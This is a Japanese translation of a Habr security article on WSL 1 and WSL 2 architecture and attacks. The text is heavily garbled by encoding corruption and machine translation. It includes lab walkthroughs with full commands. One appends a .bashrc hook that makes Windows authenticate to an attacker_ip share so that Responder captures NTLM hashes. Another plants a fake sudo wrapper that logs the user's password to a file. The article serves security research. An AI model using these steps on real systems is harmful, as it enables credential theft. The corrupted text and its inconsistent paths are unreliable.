ããã«ã¡ã¯ãããïŒ OTUSã¯10æã«æ°ããã³ãŒã¹ã¹ããªãŒã ãéå§ããŸã ãã³ãŒã¹ã®éå§ã«å ç«ã¡ãè¬åž«ã®äžäººã§ãã Alexander Kolesnikov ãå·çããèšäºãçãããšå ±æããŸãã

2016幎ã«ãã€ã¯ããœããã¯ITã³ãã¥ããã£ã«æ°ããWSLãã¯ãããžãŒãå°å ¥ããŸããïŒWã€ã³ã㊠Subsystemçš LïŒLinuxïŒã¯ãé·æçã«ã¯ãäžè¬ãŠãŒã¶ãŒãšäžçŽãŠãŒã¶ãŒã®äž¡æ¹ããã®äººæ°ãå·¡ã£ãŠäºã£ãŠããããããŸã§çžå®¹ããªãç«¶åçžæå士ã®çµ±åãå¯èœã«ããã Windows О Linuxãã®æè¡ã«ãã£ãŠãOSããŒã«ã䜿çšã§ããããã«ãªã£ãã Linux вПкÑÑжеМОО Windows èµ·åããå¿ èŠãªã LinuxäŸãã°ããã«ãããŒãã䜿çšãããªã©ãHabr ã§ã¯ãWSL ã䜿çšããã¡ãªããã説æããèšäºã倿°èŠã€ãããŸããããããæ®å¿µãªããããã®èšäºãæžããŠããæç¹ã§ã¯ããã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®å ±çã®ã»ãã¥ãªãã£ã«é¢ããç ç©¶ã¯ããã®ãªãœãŒã¹ã§ã¯èŠã€ãããŸããã§ããããã®èšäºã¯ããããæ¯æ£ããããã®è©Šã¿ã§ãããã®èšäºã§ã¯ãWSL 1 ããã³ 2 ã¢ãŒããã¯ãã£ã®ç¹åŸŽã«ã€ããŠè°è«ãããããã®ãã¯ãããžãŒã䜿çšããã·ã¹ãã ã«å¯Ÿããæ»æã®äŸãããã€ãåæããŸããèšäºã¯ 2 ã€ã®éšåã«åãããŠããŸããæåã®éšåã§ã¯ãäž»ãªçè«çæ»ææ¹æ³ã玹ä»ããŸãã Linux О Windows第2åã®èšäºã§ã¯ããã¹ãç°å¢ã®æ§ç¯ã𿻿ã®åçŸã«ã€ããŠè§£èª¬ããŸãã
WSL 1: ã¢ãŒããã¯ãã£æ©èœ
WSLã®ã»ãã¥ãªãã£åé¡ãå®å šã«çè§£ããã«ã¯ããµãã·ã¹ãã ã®å®è£ ã«é¢é£ããéèŠãªãã¥ã¢ã³ã¹ãç¹å®ããå¿ èŠããããŸããWSLã察å¿ããäž»ãªãŠãŒã¶ãŒããŒãºã®1ã€ã¯ãã¿ãŒããã«ã¢ã¯ã»ã¹ãæå¹ã«ããããšã§ãã Linux ãã¹ãäžã®OSãæèŒããã·ã¹ãã WindowsãŸããæäŸãããäºææ§ã¯éåžžã«ãã€ãã£ãã§ãå®è¡ãã¡ã€ã«ã¯ Linux ïŒELFïŒã¯ã·ã¹ãã å ã§çŽæ¥çºå°ãããå¯èœæ§ããã Windowsãããã®ç®æšãéæããããã« Windows 10 ã¢ããªã±ãŒã·ã§ã³ãèµ·åã§ããããã«ããç¹å¥ãªãµãã·ã¹ãã ãäœæãããŸãã Linux ç¹å®ã®ã·ã¹ãã ã³ãŒã«ã®ã»ããã䜿çšãã - ãã®ãããã·ã¹ãã ã³ãŒã«ã®ã»ããããããã³ã°ãã詊ã¿ãè¡ããã Linux Ма Windowsç©ççã«ã¯ãããã¯æ°ãããã©ã€ããšæ°ããããã»ã¹åœ¢åŒã远å ããããšã§å®çŸãããŸãããèŠèŠçã«ã¯ãã¢ãŒããã¯ãã£ã¯æ¬¡ã®ããã«ãªããŸãã

åºæ¬çã«ã¯ããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãšã®ããåã Linux è€æ°ã®ã«ãŒãã«ã¢ãžã¥ãŒã«ãšç¹æ®ãªããã»ã¹ã¿ã€ãã§ããpicoã䜿çšããŠæ§æãããŠããŸããäžã®å³ã¯ãã€ã³ã¹ã¿ã³ã¹ã§å®è¡ãããŠããããã»ã¹ã瀺ããŠããŸãã Linux ãã¹ãäžã§ã¯ãã€ãã£ãã§ããå¿
èŠããããéåžžã®ã¢ããªã±ãŒã·ã§ã³ãšåããªãœãŒã¹ã䜿çšããå¿
èŠããããŸãã Windowsããããããã¯ã©ã®ããã«å®çŸã§ããã®ã§ããããïŒãããžã§ã¯ãã§ã¯ ããã»ã¹ã³ã³ã»ããã¯ã Windowsããã¯ãïŒããŒãžã§ã³ã«å¿ããŠïŒå¥ã®OSããã¢ããªã±ãŒã·ã§ã³ãå®è¡ããããã«å¿
èŠãªãã¹ãŠã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã³ã³ããŒãã³ããæäŸããŸããã
ææ¡ãããæœè±¡åã«ããããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã«äŸåããªãããšãå¯èœã«ãªã£ãããšã«æ³šæããŠãã ããïŒç¹ã«ã WindowsïŒå¥ã®OSããã»ã¹ãèµ·åããããšãæ³å®ããŠãããäžè¬çãªã¢ãããŒããææ¡ããã
ãããã£ãŠããã³ããã»ã¹å ã®ã¢ããªã±ãŒã·ã§ã³ã¯ãã«ãŒãã«ã«é¢ä¿ãªãå®è¡ã§ããã Windows:
- ã·ã¹ãã ã³ãŒã«ã®äºææ§ãšç¿»èš³ã®åé¡ã¯ãç¹å¥ãªãããã€ããŒã«ãã£ãŠè§£æ±ºãããå¿ èŠããããŸãã
- ã¢ã¯ã»ã¹å¶åŸ¡ã¯ã»ãã¥ãªãã£ã¢ãã¿ãä»ããŠå®è£ ããå¿ èŠããããŸããã¢ãã¿ã¯ã«ãŒãã«å ã«ããããããã£ãŠ Windows ãã®ãããªããã»ã¹ãæäŸããæ°ãããã©ã€ããšãã圢ã§ã®ã¢ããã°ã¬ãŒããå¿ èŠã§ããããããã¿ã€ãã®ãã³ããã»ã¹ãæŠç¥çã«ä»¥äžã«ç€ºããŸãã

ãã¡ã€ã«ã·ã¹ãã ã®ãã Linux ãã¡ã€ã«åãšãã£ã¬ã¯ããªåã«ã¯å€§æåãšå°æåãåºå¥ãããŸãã Windows WSLã§äœ¿çšããããã«ãVolFSãšDriveFSãšãã2çš®é¡ã®ãã¡ã€ã«ã·ã¹ãã ã远å ãããŸãããVolFSã¯ãã¡ã€ã«ã·ã¹ãã ã®å®è£
ã§ãã LinuxDriveFSã¯ãã«ãŒã«ã«åŸã£ãŠåäœãããã¡ã€ã«ã·ã¹ãã ã§ãã Windowsãã ããååã®å€§æåãšå°æåãåºå¥ãããã©ãããéžæãããªãã·ã§ã³ããããŸãã
WSL 2
WSL 1ã«ã¯ãå¹ åºãã¿ã¹ã¯ã®è§£æ±ºã«å©çšã§ããªããããªå€ãã®å¶éããããŸãããäŸãã°ã32ããããå®è¡ããæ©èœããããŸããã§ããã Linux ã¢ããªã±ãŒã·ã§ã³ã¯ããã€ã¹ãã©ã€ãã䜿çšã§ããŸããã§ããããã®ããã2020幎ã«WSL 2ããªãªãŒã¹ããããµãã·ã¹ãã ã®æ§ç¯æ¹æ³ã倿ŽãããŸãããWSL 2ã¯ãWSL 1ã®ãªãœãŒã¹æ¶è²»ç¹æ§ã«äžèŽããããã«æé©åãããä»®æ³ãã·ã³ã§ããçŸåšããŠãŒã¶ãŒã解決ããããšããŠããåé¡ã«å¿ããŠãOS㯠Windowsäœæ¥ã«å¿ èŠãªãµãã·ã¹ãã ã®ããŒãžã§ã³ãéžæã§ããŸã Linuxæœåšçãªè匱æ§ã軜æžããããã«ãWSL 2 㯠Hyper-V ãããŒã¹ã«å®è£ ãããŸããã Windows 10ãã®åœ¢åŒã§ Windows ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã«ãŒãã«ãåç¬ã§å®è¡ããæ©èœãæã€ LinuxWSLã®ããŒãžã§ã³1ã¯ãéçºã®æ¹åæ§ã瀺ãããã®ããŒã¿çæ©èœãšããŠå°å ¥ãããããšãèŠããŠãã䟡å€ãããã Windows ãã®åéã§ã¯ãHyper-Vãžã®ç§»è¡ã¯å¿ ç¶ã§ãããæçµçãªã¢ãŒããã¯ãã£ã¯æ¬¡ã®ããã«ãªããŸãã

ãã®ããŒãžã§ã³ã§ã¯ãã·ã¹ãã ã«ãŒãã«ã¯ Windows О Linux ãããããç¬èªã®ãªãœãŒã¹ãæã¡ããã¡ã€ã«ã·ã¹ãã å
ã§ã®ã¿éè€ãããããã®éè€ã¯å®å
šãªãã®ã§ã¯ãªãããã¡ã€ã«ã·ã¹ãã éã®çžäºäœçšã¯ã9Pãããã³ã«äžã§åäœããã¯ã©ã€ã¢ã³ã/ãµãŒããŒã©ãããŒãä»ããŠè¡ãããã
çŸåšãMicrosoft 㯠WSL 1 ãš WSL 2 ãåãæ¿ããæ©èœãæäŸããŠããŸããäž¡æ¹ã®ããŒãžã§ã³ã䜿çšã§ããŸãã
WSL ã»ãã¥ãªãã£
çŸæç¹ã§ã¯ãæ£åœãª OS ããŒã«ã䜿çšããŠãµãã·ã¹ãã éã®çžäºäœçšãæ»æããããã€ãã®ã¢ãããŒãã説æããç ç©¶ãããã€ããããŸããç§ãã¡ã¯åœŒãã®ã·ããªãªã䜿çšããŠããã®èšäºã®å·çæç¹ã§ã®æ»æã®é¢é£æ§ã確èªããŸããæ»æãšã·ããªãªã®äžè¬çãªãªã¹ã:
1. ãã¡ã€ã«ã·ã¹ãã ã®å®è£ : ã¢ã¯ã»ã¹æš©ãå ±æãã£ã¬ã¯ããª/ããŒã¿äº€æã¡ã«ããºã ã®å¯çšæ§ã
調æ»ã¯ãã¢ã¯ã»ã¹èŠåéåããã£ããã©ããã倿ããããã«å®æœãããŸããã Linux FS->Windows FSã Windows FS->Linux FSã調æ»ã«ããã察象 OS å ã§ç¹å®ã®ãã¡ã€ã«ã倿Žã§ããããšãå®èšŒãããŠããŸãããã¡ã€ã«ã·ã¹ãã ã®äžéšã眮ãæããããè€è£œããããåé€ããããã詊ã¿ããããŸããã
ã·ããªãªïŒ
- A. ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ããã®æ»æ Windows â OSã®/etcãã£ã¬ã¯ããªå ã®ãã¡ã€ã«ã®å€æŽ Linux.
- B. ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ããã®æ»æ Linux â ãã£ã¬ã¯ããªå
ã®ãã¡ã€ã«ã®å€æŽ:
C:Windows,C:Program Files,C:Users<User>
2. ãããã¯ãŒã¯ ã¹ã¿ãã¯ã®å®è£ ã
ãã®ç ç©¶ã¯ããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ããã®æ»æã®äŸãçšããŠå®æœãããã Linux Ма Windowsãããã¯ãŒã¯ã¹ã¿ãã¯ã®éçšäžã®æ©èœãç¹ã«åçš®ãªãœãŒã¹ã«å¯ŸããèªèšŒã¡ã«ããºã ãæªçšãããã
ã·ããªãªïŒ
- ã·ã¹ãã å ã§äœ¿çšäžã®ããŒããžã®ã¢ã¯ã»ã¹ãéæŸãã Windows
- é©åãªæš©éãªãã§ããŒããéã
- ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã å ã§ELFãã¡ã€ã«ã䜿çšããŠãªããŒã¹ã·ã§ã«ãå®è¡ãã Windows.
3. WSL ãµãã·ã¹ãã ã䜿çšããŠãã«ãŠã§ã¢ ããã»ã¹ã®èµ·åãé ããŸãã
ãã®ç ç©¶ã¯ãWSL 1 ã®å Žåãã»ãã¥ãªã㣠ãµãã·ã¹ãã ã¯ãªãã¬ãŒãã£ã³ã° ã·ã¹ãã ããã®æ£åœãªãããã€ããŒã䜿çšããŠåäœããå¥ã®ã³ã¢ã®ã€ãã³ããååã§ããªããšããåçŽãªäºå®ã«åºã¥ããŠããŸããWSL 2 ã®å Žåã軜éä»®æ³ãã·ã³å ã®å¥ã®ã³ã¢ã§çºçããã€ãã³ãã衚瀺ããæ¹æ³ã¯ãããŸããã
ã·ããªãªïŒ
1) ã·ã¹ãã ãžã®ãªã¢ãŒã ã¢ã¯ã»ã¹çšã®ã¢ããªã±ãŒã·ã§ã³ãèµ·åããèšé²ãããã€ãã³ãã衚瀺ããŸãã
WSL 1 å®éš: ããã·ã¥ãã€ãžã£ã㯠(OS Windows)
ããããå®è·µçãªéšåã«å ¥ããŸãããŸãããã¹ãç°å¢ãã»ããã¢ããããå¿ èŠããããŸãããã¹ãŠã®å®éšã¯ããã¹ããã³ãäžã§å®æœãããŸãã Windows 10 2004幎ãWSLçšã«éžã°ãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã€ã¡ãŒãžã¯ Ubuntu 4æ18æ¥ãç»åã¯ã©ã³ãã ã«éžæããããã®ã§ãä»ã®ç»åã§ãåæ§ã«æ©èœããŸããã¹ã¿ã³ãã®ã»ããã¢ããã³ãã³ãïŒ
ãŸãå®è¡ããå¿
èŠããããŸã powershell.exe 管çè
ãšããŠã
WSL 1 ã®å Žåã¯ã次ã®ã³ãã³ããå®è¡ããå¿ èŠããããŸãã
- æå¹ã«ãã-Windowsãªãã·ã§ã³æ©èœ -ãªã³ã©ã€ã³ -æ©èœå Microsoft-Windows-ãµãã·ã¹ãã -Linux #WSLæ©èœãæå¹ã«ãã
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ç»åãèªã¿èŸŒã Linux Microsoft Storeãã
ã·ã¹ãã ãåèµ·ååŸãbashã³ãã³ããå®è¡ããŠãã ããããã¹ãŠãæ£ããåäœããŠããã°ãã³ã³ãœãŒã«ã«ä»¥äžã®ãããªåºåã衚瀺ãããŸãã Windows:

æ»æè
ã®ãã·ã³ãšããŠã¯ãKali Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã䜿çšããŸãã Linuxãã¹ãŠã®ãã·ã³ã¯åãããŒã«ã«ãããã¯ãŒã¯äžã«ååšããå¿
èŠããããŸãã
ãã·ã³äžã§WSLãžã®éç¹æš©ã¢ã¯ã»ã¹ãå¯èœã ãšä»®å®ããŸãããã Windowsãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãæ»æããŠã¿ãŸãããã Linuxã³ãã³ããåŒã³åºã Linuxæ»æãå®è¡ããããã«ãç°¡åãªèªåå®è¡ã®ææ³ã䜿çšããŸããã€ãŸããã¹ã¯ãªãããç°å¢ã«è¿œå ããŸãã Linuxãããè¡ãã«ã¯ããã¡ã€ã«ã倿Žããå¿
èŠããããŸã .bashrc.
WSL ãæèŒãããã·ã³ã§ã次ãå®è¡ããŸãã
1. bash
2. ÐеÑеÑ
ПЎОЌ в ЎПЌаÑМÑÑ ÐŽÐžÑекÑПÑÐžÑ Ð¿ÐŸÐ»ÑзПваÑелÑ: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitã«ãªã«ãŒã§ Linux å®è¡ããŸã:
1. Responder -I eth0 -rdvwÐаЌаÑОМе Windows bashãå®è¡ããŸãããã
Kaliãã·ã³ã§ã®çµæãåŸ ã£ãŠããŸãã Linux:

ãŠãŒã¶ãŒããã·ã¥ãååŸããŸãã Windows WSLãµãã·ã¹ãã ãä»ããŠã·ã¹ãã äžã§ã³ãã³ããå®è¡ãã Linux.
WSL 1 å®éš: ãŠãŒã¶ãŒãã¹ã¯ãŒãã®ååŸ (OS) Linux)
ãã1ã€å®éšãããŠã¿ãŸãããããã®ãã§ãã¯äžã«ãã¡ã€ã«ãè£è¶³ããŸã .bashrc ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ãŠãŒã¶ãŒãã¹ã¯ãŒããååŸããããã®ããã€ãã®ã³ãã³ã Linux.
bash ãèµ·åããŠã³ãã³ããå ¥åããŸããã:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit æ»æãæåãããã«ã¯ããŠãŒã¶ãŒSamãã¿ãŒããã«ã§sudoã³ãã³ããå®è¡ããå¿
èŠããããŸãã Linuxãã®åŸãOSãŠãŒã¶ãŒã®ãã¹ã¯ãŒã Linux ãã¡ã€ã«å
ã«ãããŸã pass.txt:

æ»æã®å®è£
ã¯çè«çãªçè§£ã®ã¿ãç®çãšããŠæäŸãããŠããŸãã
èšäºã®æ¬¡ã®éšåã§ã¯ã9P ãããã³ã«ã®å®è£ ã«ã€ããŠèª¬æãããã®ãããã³ã«çšã®ã¹ãã£ããŒã®äœæãæ€èšããããã䜿çšããŠæ»æãå®è¡ããŸãã
åèæç®
ç¶ããèªã
åºæïŒ habr.com
